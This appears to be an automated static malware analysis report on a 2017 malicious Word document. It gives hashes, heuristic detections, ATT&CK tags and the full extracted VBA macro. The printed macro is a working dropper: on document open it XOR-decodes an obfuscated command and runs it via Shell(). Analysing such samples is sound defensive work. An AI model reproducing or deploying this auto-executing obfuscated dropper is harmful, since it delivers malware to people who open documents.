Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9af075446dbf5e56…

MALICIOUS

Office (OLE)

426.5 KB Created: 2017-12-01 07:33:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: fcb73651086bd859e726ad8702dffbc7 SHA-1: 4b8f7de65bd4cbb4d497cee743ba49fe33505f03 SHA-256: 9af075446dbf5e5601d2d8d4b1307564ea0ec907e7e8b6c57226d8fbeb526f5d
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The Document_Open macro is designed to execute a shell command, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Dropper.Agent-6388046-0' further supports its dropper functionality. The VBA script uses XOR obfuscation to hide its true functionality, but the presence of Shell() calls and the dropper heuristic indicate a high likelihood of payload execution.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6388046-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6388046-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2495 bytes
SHA-256: 926be46e05c4ae78dddc84c55944a0c3516590426b16df06c9de603e35f65b43
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
If ActiveDocument.Variables("yXouCu").Value <> "toto" Then
bscIvjAqJrSLPoNiaFal
ActiveDocument.Variables("yXouCu").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub


Attribute VB_Name = "rnGAFtU"
Private Function oPreYvqBPO(oqHOZNprQw As Variant, dKVbBdxKLn As Integer)
Dim wSaLpMapoY, TKLkNqmdAN As String, qAvCPJLkXy, rIkTuqLEYv
TKLkNqmdAN = ActiveDocument.Variables("yXouCu").Value()
wSaLpMapoY = ""
qAvCPJLkXy = 1
While qAvCPJLkXy < UBound(oqHOZNprQw) + 2
rIkTuqLEYv = qAvCPJLkXy Mod Len(TKLkNqmdAN): If rIkTuqLEYv = 0 Then rIkTuqLEYv = Len(TKLkNqmdAN)
wSaLpMapoY = wSaLpMapoY + Chr(Asc(Mid(TKLkNqmdAN, rIkTuqLEYv + dKVbBdxKLn, 1)) Xor CInt(oqHOZNprQw(qAvCPJLkXy - 1)))
qAvCPJLkXy = qAvCPJLkXy + 1
Wend
oPreYvqBPO = wSaLpMapoY
End Function
Function ACGWtdqAdRxkrVz(ByVal ZjzrcVQGpp As String) As Boolean
FileExists = (Dir(ZjzrcVQGpp) <> "")
End Function
Public Function aXLPaSRZfcFQuIm()
yfiXRkXC = oPreYvqBPO(Array(23, 2, 116, 34, 29, 108, 124, 102, 5, 64), 40)
rQFJgBcRpLYqMkl = oPreYvqBPO(Array(15, 0, 29, 127, 11, 7, 19, 10, 49, 125, 125, 61, 71, 90, 30, 43, 5, 88, 54, 45, 38, _
18, 4, 84, 19, 46, 37, 39, 11, 59, 85, 22, 106, 15, 37, 89, 19, 58, 31), 0)
mtKDM = "ExcludedString"
MsgBox rQFJgBcRpLYqMkl
zKwixxUQRbBs = oPreYvqBPO(Array(93, 26, 14, 22, 83, 75, 95, 5, 21, 33, 28, 21, 18, 55, 38, 84, 34, 33, 3), 194)
gunY = oPreYvqBPO(Array(44, 75, 106, 45, 1, 37, 12, 67, 38, 35, 61), 183)
MsgBox zKwixxUQRbBs
MsgBox gunY
End Function
Function bscIvjAqJrSLPoNiaFal()
firstStage = oPreYvqBPO(Array(48, 33, 35, 98, 88, 12, 89, 5, 80, 8, 32, 24, 76, 17, 93, 20, 76, 76, 38, 13, 4, _
22, 55, 31, 53, 22, 100, 38, 1, 0, 57, 61, 75, 91, 87, 19, 31, 39, 48, 9, 114, _
97, 88, 117, 76, 71, 84, 102, 113, 72, 107, 108, 93, 27, 86, 89, 20, 13, 33, 64, 94, _
90, 59, 61, 111, 56, 57, 13, 61, 22, 12, 80, 102, 24, 120, 78, 97, 72, 22, 27, 50, _
25, 60, 4, 58, 2, 56, 87, 88, 13, 20, 55, 58, 52, 16, 24, 2, 84, 42, 28, 6, _
6, 14, 75, 13, 6, 89, 24, 4, 39, 44, 34, 53, 48, 16, 30, 42, 18, 21, 19, 30, _
90, 54, 9, 22, 95, 6, 18, 23, 123, 22, 74, 82), 50)
Shell (firstStage)
End Function